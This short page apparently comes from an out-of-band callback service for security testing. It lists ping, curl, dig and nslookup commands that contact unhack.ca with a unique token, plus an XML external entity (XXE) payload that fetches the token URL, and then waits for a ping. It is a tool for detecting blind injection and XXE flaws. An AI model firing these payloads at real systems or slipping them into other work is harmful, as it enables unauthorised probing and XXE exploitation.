$ ping -c1 -p 0071a5c59314e2e0c25d0b225e78e900 unhack.ca
 
$ curl http://unhack.ca/p/71a5c59314e2e0c25d0b225e78e9
 
$ dig 71a5c59314e2e0c25d0b225e78e9 @unhack.ca
 
$ dig 71a5c59314e2e0c25d0b225e78e9.ns.unhack.ca
 
C:\> nslookup 71a5c59314e2e0c25d0b225e78e9 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/71a5c59314e2e0c25d0b225e78e9">]>
    <foo>&xxe;</foo>
 
Waiting for ping...